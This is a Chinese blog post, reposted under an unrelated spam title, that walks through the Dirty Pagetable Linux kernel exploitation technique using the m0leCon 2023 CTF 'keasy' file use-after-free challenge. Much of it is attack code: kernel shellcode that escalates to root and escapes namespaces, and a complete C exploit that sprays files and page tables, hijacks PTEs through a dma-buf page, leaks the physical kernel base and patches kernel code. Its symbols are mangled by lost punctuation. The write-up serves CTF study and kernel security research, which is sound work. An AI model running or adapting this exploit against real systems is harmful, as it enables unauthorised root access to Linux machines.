宁夏建设厅网站首页小程序制作简单教程
宁夏建设厅网站首页,小程序制作简单教程,网站定做,网站建设营销型网站概念前言
Dirty PageTable 是一种针对堆相关漏洞的利用手法#xff0c;主要就是针对 PTE 进行攻击。
参考文章#xff1a; Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文
上述文章已经讲的非常清楚了#xff0c;就是实操写 e…前言
Dirty PageTable 是一种针对堆相关漏洞的利用手法主要就是针对 PTE 进行攻击。
参考文章 Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文
上述文章已经讲的非常清楚了就是实操写 exp 时存在一些问题比如
在 pid uaf 中如何稳定的控制 struct pid 的分配与释放如何控制 pid-count 字段的增长即如何构造 inc 原语同理在 file uaf 中也存在上述问题但是在 file uaf 中其控制比较简单打开关闭相应的文件即可。
在其它堆漏洞中其利用方式也是大同小异的总的来说步骤如下
堆喷 obj 并构造 victim obj释放 obj 至 victim slab 中使得 victim slab 被 buddy system 回收堆喷 pte使得页表占据 victim slab page利用 uaf obj 写相关 pte
这里仅仅针对 pid uaf 和 file uaf 做相关记录
file uaf
例题m0leCon Finals 2023 CTF keasy 参考文章Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup
文章讲的很清楚了主要记录下关键点。 漏洞点
static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {long ret -EINVAL;struct file *myfile;int fd;if (!enabled) {goto out;}enabled 0;myfile anon_inode_getfile([easy], keasy_file_fops, NULL, 0);fd get_unused_fd_flags(O_CLOEXEC);if (fd 0) {ret fd;goto err;}fd_install(fd, myfile);if (copy_to_user((unsigned int __user *)arg, fd, sizeof(fd))) {ret -EINVAL;goto err;}ret 0;return ret;err:fput(myfile);
out:return ret;
}漏洞在于当 copy_to_user 函数复制失败时会调用 fput 释放 myfile -- struct file 但是并没有将其解绑即没有将 fd 与 myfile 解绑所以在释放 myfile 后还是可以通过 fd 操作 file 结构体从而导致 UAF 注这里由于没有上锁所以可以通过 race condition 多次触发但是这里没有必要。还有就是 fput 的行为是将 file-f_count 减一只有当 file-f_count 为 0 时file 才会被释放 如何控制 struct file 的分配与释放即如何稳定的堆喷 struct file
这个比较简单打开/关闭文件就可以控制 struct file 的分配/释放 如何堆喷 pte即如何分配页表页面
利用 mmap 申请大量匿名页面即可当向访问这些匿名页面时就会在页表项中填充物理地址即效果就是堆喷 pte而页表页面的分配也是通过 buddy system 分配的。 如何使得页表页面占据 victim slab page
这里利用 cross cache attack 手法详细参考CVE-2022-29582 An io_uring vulnerability
先让 buddy system 回收 victim slab然后堆喷 pte其会从 buddy system 中分配页表页面这里就大概率就会拿到 victim slab
效果如下 1victim file 可以看到这里的 file-f_count 1
2free victim file 可以看到这里的 file-f_count 0
3spray pte 这里就变成了 pte 字段 注 堆喷 pte 时每次 mmap 8 个页面大小这里主要是为了让 file-f_count 字段与某个 pte 重合当然这里大于 8 个页面大小也行。然后这里似乎是刚好与 file 重合所以小于 8 个页面大小则无法使得 file-f_count 字段与某个 pte 重合。 struct file {union {struct llist_node f_llist;struct rcu_head f_rcuhead;unsigned int f_iocb_flags;};struct path f_path;struct inode *f_inode; /* cached value */const struct file_operations *f_op;/** Protects f_ep, f_flags.* Must not be taken from IRQ context.*/spinlock_t f_lock;atomic_long_t f_count;
......可以看到该版本的内核其 file-f_count 在 0x40 位置当然直接调试也可以看出来 如何构造 inc 原语即如何增加 file-f_count 的值
原文中采用的方式是使用 dup 系统调用其会增加 file 的引用计数但是这里存在一个问题就是每个进程的文件描述符资源是有限的也就是说不能无限制的增加 file-f_count然后原文中给出了解决方案
利用 fork dup 解决该限制 利用关键点如何控制用户页表 在上面我们说了可以利用 fork dup 来解决 inc 原语的限制但是有个问题就是我们最终的目的是提权或拿 flag所以我们的想法是修改 pte 使得其关联到 kernel _text/_data 段这样就可以修改程序硬编码提权比如修改 setresuid 函数这个在 USMA 中也利用过但问题是 mmap 的内存区域可能在其下方所以 inc 原语则无法完成利用因此我们需要更强大的攻击原语直接控制用户页表 1构造页级 UAF【FALSE】 利用 inc 原语使得两个虚拟地址对应同一个物理地址这里构造比较简单因为我们是连续 mmap 大量内存页所以大概率这些内存页是物理连续的所以利用 inc 原语增加 0x1000、0x2000、0x3000 ...... 即可效果如下 现在 evil page 和 victim page 关联同一个物理页如果我们 munmap 掉 victim page 不就可以释放掉其对应的物理页了吗这时如果我们可以堆喷其它 obj 占据该物理页即可完成页级 UAF 的构造。 最简单的想法就是再堆喷 pte 使其占据该物理页然后就可以利用 evil page 任意修改 pte 了。但是这种方案在原文章中被否定了理由如下 The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone. 2间接控制 pte【TRUE】 然后原文中给出了解决方案 看看原文咋说的文章是以 DMA_BUF 为例的 We know that kernel space and user space need to share some physical pages in some cases. The sharing physical pages are mmaped into kernel space and user space at the same time, so they can be accessed from both spaces. Quite a few components can be used to allocate such sharing pages, such as dma-buf heaps, io_uring, GPUs and etc. 这里建议看原文就多不说了主要的内容就是说分配单个共享页面时分配 gfp_flags 是 LOW_ORDER_GFP即是从 MIGRATE_UNMOVABLE 类型的 free_area 中分配的并且分配阶 order 0这跟页表的分配是契合的所以结论就是 The single sharing page and page table are allocated from the same migrate free_cache with the same order. 所以我们可以通过分配单个共享页面使得这个共享页面与页表页面的物理地址是相邻的。然后我们可以 munmap evil page 将 victim pte 空闲出来然后 mmap 该共享页面使其占据该 victim pte然后通过 inc 原语即可将共享页面的物理地址设置为页表页面地址然后即可控制 pte 这里无法调试因为 gdb 里面好像是无法直接查看物理地址的内容的所以这里我不知道如何去确认是否堆喷成功。但是看上面的参考文章是可以直接在 gdb 里面查看物理地址的内容的应该是作者自己写的插件 如何进行提权在控制 pte 后该如何进行提权逃逸 按照上述思路主要就是通过修改硬编码进行提权而题目开启了 kaslr 保护所以对应内核 _text/_data 段的地址并不固定。但是这里我们是直接操作的物理地址所以得想办法泄漏内核基地址的物理地址。
方案1利用固定物理地址上残留的页表项地址泄漏内核基物理地址 在参考文章中其指出目前在 linux/windows 上仍然存在一些固定的物理地址其保存着页表地址。 但是这里笔者不知道该固定地址是如何得出的也没有办法查看但是事实是确实是正确的。当然如果读者有知道这个方案希望可以不吝赐教 然后就是逃逸了由于逃逸不太懂就不说了具体可以参考该文章逃逸 shellcode 如下 init_cred equ 0x1445ed8commit_creds equ 0x00ae620find_task_by_vpid equ 0x00a3750init_nsproxy equ 0x1445ce0switch_task_namespaces equ 0x00ac140init_fs equ 0x1538248copy_fs_struct equ 0x027f890kpti_bypass equ 0x0c00f41_start:endbr64call a
a:pop r15sub r15, 0x24d4c9; commit_creds(init_cred) [3]lea rdi, [r15 init_cred]lea rax, [r15 commit_creds]call rax; task find_task_by_vpid(1) [4]mov edi, 1lea rax, [r15 find_task_by_vpid]call rax; switch_task_namespaces(task, init_nsproxy) [5]mov rdi, raxlea rsi, [r15 init_nsproxy]lea rax, [r15 switch_task_namespaces]call rax; new_fs copy_fs_struct(init_fs) [6]lea rdi, [r15 init_fs]lea rax, [r15 copy_fs_struct]call raxmov rbx, rax; current find_task_by_vpid(getpid())mov rdi, 0x1111111111111111 ; will be fixed at runtimelea rax, [r15 find_task_by_vpid]call rax; current-fs new_fs [8]mov [rax 0x740], rbx; kpti trampoline [9]xor eax, eaxmov [rsp0x00], raxmov [rsp0x08], raxmov rax, 0x2222222222222222 ; winmov [rsp0x10], raxmov rax, 0x3333333333333333 ; csmov [rsp0x18], raxmov rax, 0x4444444444444444 ; rflagsmov [rsp0x20], raxmov rax, 0x5555555555555555 ; stackmov [rsp0x28], raxmov rax, 0x6666666666666666 ; ssmov [rsp0x30], raxlea rax, [r15 kpti_bypass]jmp raxint3这里贴个 exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include signal.h
#include string.h
#include stdint.h
#include sys/mman.h
#include sys/syscall.h
#include sys/ioctl.h
#include sched.h
#include linux/keyctl.h
#include ctype.h
#include pthread.h
#include sys/types.h
#include sys/sem.h
#include semaphore.h
#include poll.h
#include sys/ipc.h
#include sys/msg.h
#include asm/ldt.h
#include sys/shm.h
#include sys/wait.h#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {u64 len;u32 fd;u32 fd_flags;u64 heap_flags;
};void err_exit(char *msg)
{printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf(\033[32m\033[1m[] %s\n\033[0m, msg);
}void hexx(char *msg, size_t value)
{printf(\033[32m\033[1m[] %s: %#lx\n\033[0m, msg, value);
}void decc(char *msg, size_t value)
{printf(\033[32m\033[1m[] %s: %d\n\033[0m, msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf(\033[33m[*] %s:\n\033[0m, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts(\033[31m\033[1m[x] Failed to get the root!\033[0m);sleep(5);exit(EXIT_FAILURE);}puts(\033[32m\033[1m[] Successful to get the root. \033[0m);puts(\033[34m\033[1m[*] Execve root shell now...\033[0m);system(/bin/sh);/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile (mov user_cs, cs;mov user_ss, ss;mov user_sp, rsp;pushf;pop user_rflags;);puts(\033[34m\033[1m[*] Status has been saved.\033[0m);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(cpu_set);CPU_SET(core, cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set);printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core);
}int fd;void uaf() {ioctl(fd, 0, 0xdeadbeef);
}static void win() {char buf[0x100];int fd open(/dev/sda, O_RDONLY);if (fd 0) {puts([-] Lose...);} else {puts([] Win!);read(fd, buf, 0x100);write(1, buf, 0x100);puts([] Done);}getchar();exit(0);
}#define N_FILESPRAY 0x100
#define N_PAGESPRAY (0x200 * 6)int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x1000];int file_spray[N_FILESPRAY];void* page_spray[N_PAGESPRAY];void* evil_page NULL;void* victim_page NULL;int uaf_fd;int dma_buf_fd;int dma_heap_fd;fd open(/dev/keasy, O_RDWR);if (fd 0) err_exit(FAILED to open /dev/keasy);dma_heap_fd open(/dev/dma_heap/system, O_RDWR);if (dma_heap_fd 0) err_exit(FAILED to open /dev/dma_heap/system);struct dma_heap_allocation_data data;data.len 0x1000;data.fd_flags O_RDWR;data.heap_flags 0;data.fd 0;info(Prepare pages for PTE);for (int i 0; i N_PAGESPRAY; i) {page_spray[i] mmap((void*)(0xdead0000ULi*0x10000UL),0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);if (page_spray[i] MAP_FAILED) err_exit(FAILED to mmap many pages);}info(Spray struct file);for (int i 0; i N_FILESPRAY / 2; i) {file_spray[i] open(/, O_RDONLY);if (file_spray[i] 0) err_exit(FAILED to open \/\ to spray struct file);}info(Get A UAF FILE);uaf_fd file_spray[N_FILESPRAY / 2 - 1] 1;uaf();decc(uaf_fd, uaf_fd);info(Spray struct file);for (int i N_FILESPRAY / 2; i N_FILESPRAY; i) {file_spray[i] open(/, O_RDONLY);if (file_spray[i] 0) err_exit(FAILED to open \/\ to spray struct file);}info(Free struct file to victim slab);for (int i 0; i N_FILESPRAY; i) {close(file_spray[i]);}info(Spray PTE to occupy victim slab page);for (int i 0; i N_PAGESPRAY; i) {if (i N_PAGESPRAY / 3) {if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, data) 0) {err_exit(DMA_HEAP_IOCTL_ALLOC);}dma_buf_fd data.fd;}for (int j 0; j 8; j) {*(uint64_t*)(page_spray[i] j*0x1000) page_spray[i] j*0x1000;}}info(Inc file-f_count to find victim page);for (int i 0; i 0x1000; i) {if (dup(uaf_fd) 0) err_exit(FAILED to inc file-f_count);}info(CHECK to find victim page);for (int i 0; i N_PAGESPRAY; i) {for (int j 0; j 8; j) {if (*(uint64_t*)(page_spray[i]j*0x1000) ! page_spray[i]j*0x1000) {evil_page page_spray[i]j*0x1000;victim_page *(uint64_t*)(page_spray[i]j*0x1000);break;}}}if (evil_page NULL) err_exit(FAILED to find victim page);hexx(evil page addr, evil_page);hexx(victim page addr, victim_page);info(munmap evil_page to construct page UAF);munmap(evil_page, 0x1000);void* dma_page mmap(evil_page, 0x1000, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_POPULATE, dma_buf_fd, 0);if (dma_page MAP_FAILED) err_exit(FAILED to mmap dma_page);hexx(dma page addr, dma_page);*(uint64_t*)dma_page 0x4141414141414141;info(Inc file-f_coint to hijack pte page);for (int i 0; i 0x1000; i) {if (dup(uaf_fd) 0) err_exit(FAILED to inc file-f_count);}if (((*(uint64_t*)dma_page) 0xf0000000000000ff) ! 0x8000000000000067) {puts(dma_page);err_exit(FAILED to hijack pte page);}*(uint64_t*)dma_page *(uint64_t*)dma_page 0x1000;info(CHECK to find pte page);void* pte_page NULL;for (int i 0; i N_PAGESPRAY; i) {for (int j 0; j 8; j) {if (*(uint64_t*)(page_spray[i]j*0x1000) ! evil_page) {if (*(uint64_t*)(page_spray[i]j*0x1000) ! page_spray[i]j*0x1000) {pte_page page_spray[i]j*0x1000;break;}}}}if (pte_page NULL) err_exit(FAIED to find pte page);hexx(pte page addr, pte_page);info(Leak Kernel Base);*(uint64_t*)dma_page 0x800000000009c067;uint64_t phys_base (*(uint64_t*)pte_page (~0xfff)) - 0x1c04000;hexx(physical kernel base, phys_base);size_t phys_func phys_base 0x24d4c0;*(size_t*)dma_page (phys_func ~0xfff) | 0x8000000000000067;char shellcode[] {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };void *p;p memmem(shellcode, sizeof(shellcode), \x11\x11\x11\x11\x11\x11\x11\x11, 8);*(size_t*)p getpid();p memmem(shellcode, sizeof(shellcode), \x22\x22\x22\x22\x22\x22\x22\x22, 8);*(size_t*)p (size_t)win;p memmem(shellcode, sizeof(shellcode), \x33\x33\x33\x33\x33\x33\x33\x33, 8);*(size_t*)p user_cs;p memmem(shellcode, sizeof(shellcode), \x44\x44\x44\x44\x44\x44\x44\x44, 8);*(size_t*)p user_rflags;p memmem(shellcode, sizeof(shellcode), \x55\x55\x55\x55\x55\x55\x55\x55, 8);*(size_t*)p user_sp;p memmem(shellcode, sizeof(shellcode), \x66\x66\x66\x66\x66\x66\x66\x66, 8);*(size_t*)p user_ss;memcpy(pte_page (phys_func 0xfff), shellcode, sizeof(shellcode));printf([] %d\n, symlink(/jail/x, /jail));puts([] EXP NERVER END);
// getchar();return 0;
}效果如下 问题疑惑 最后的 exp 有点奇怪当开启 kaslr 时可以正确读出 flag但是当关闭 kaslr 时似乎无法正确执行 symlink感觉应该是 shellcode 存在一点问题因为 shellcode 一开始是利用的栈上的数据泄漏的 virtual kernel addr我感觉开启 kaslr 和没有开启 kaslr 的栈不太一样。
方案2遍历页表物理地址泄漏内核基物理地址 经过思考笔者认为内核的基物理地址后面简称基地址应该位于较低的内存页上因此我们可以直接往前遍历页表然后利用基地址对应内存页上的特殊数据作为 TAG 进行 check 是否命中即可。 最后修改的 exp 如下其它代码都是一样的就是泄漏 physical kernel base 时采用的时遍历页表的方式 info(Leak Kernel Base);
// *(uint64_t*)dma_page 0x800000000009c067;
// uint64_t phys_base (*(uint64_t*)pte_page (~0xfff)) - 0x1c04000;*(uint64_t*)dma_page *(uint64_t*)dma_page (~0xfffff) | 0x8000000000000067;uint64_t phys_base;for (int i 0;;i) {*(uint64_t*)dma_page *(uint64_t*)dma_page - 0x100000;if (*(uint64_t*)pte_page 0x4801403f51258d48) {printf(\033[32mpte: %#llx NUMBER TAG: %#llx\n\033[0m, *(uint64_t*)dma_page, *(uint64_t*)pte_page);phys_base (*(uint64_t*)dma_page (~0xf000000000000fff));break;}// 如果删除该 printf关闭 kaslr 时会出现页表解析问题printf(pte: %#llx NUMBER TAG: %#llx\n, *(uint64_t*)dma_page, *(uint64_t*)pte_page);}效果如下 可以看到最后也是可以成功泄漏 physical kernel base
问题疑惑 还是对于 kaslr 是否开启的情况当 kaslr 开启时没啥问题。当 kaslr 关闭时必须在 leak base 时加上最后的 printf 语句才可能正常执行否则在遍历页表时会出现页表项解析错误等问题反正归功于玄学就对了。当然这里也说明了方案1中关闭 kaslr 出错的原因不是 shellcode 的问题而是没有正确的泄漏 physical kernel base 总结 个人觉得遍历页表泄漏 physical kernel base 的方式更直观和容易理解主要是对于固定的物理地址去泄漏这个方案gdb 中是无法查看物理地址的所以我也不知道最后泄漏出来的页表项地址与 physical kernel base 的偏移是怎么算出来的。 对了在关闭 kaslr 时测试发现 physical kernel base 固定为 0x1000000 终极大疑问 kalsr 不是随机化的虚拟地址吗跟物理地址有啥关系为啥关闭 kaslr 时 physical kernel base 是固定的呢 我的解释是这里虚拟基地址应该在 DMA 区域所以虚拟地址和物理地址直接只是相差一个偏移所以虚拟地址和物理地址理论上是绑定的即virt_addr - offset phys_addr而 offset 是固定的。所以当关闭 kaslr 时virt_addr 是不变的所以 phys_addr 也是不变的这也解释了为啥在关闭 kaslr 时测试发现 physical kernel base 固定为 0x1000000 而开启 kaslr 时每次泄漏的 physical kernel base 是不同的也就可以解释了。
pid uaf
todo
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/87485.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!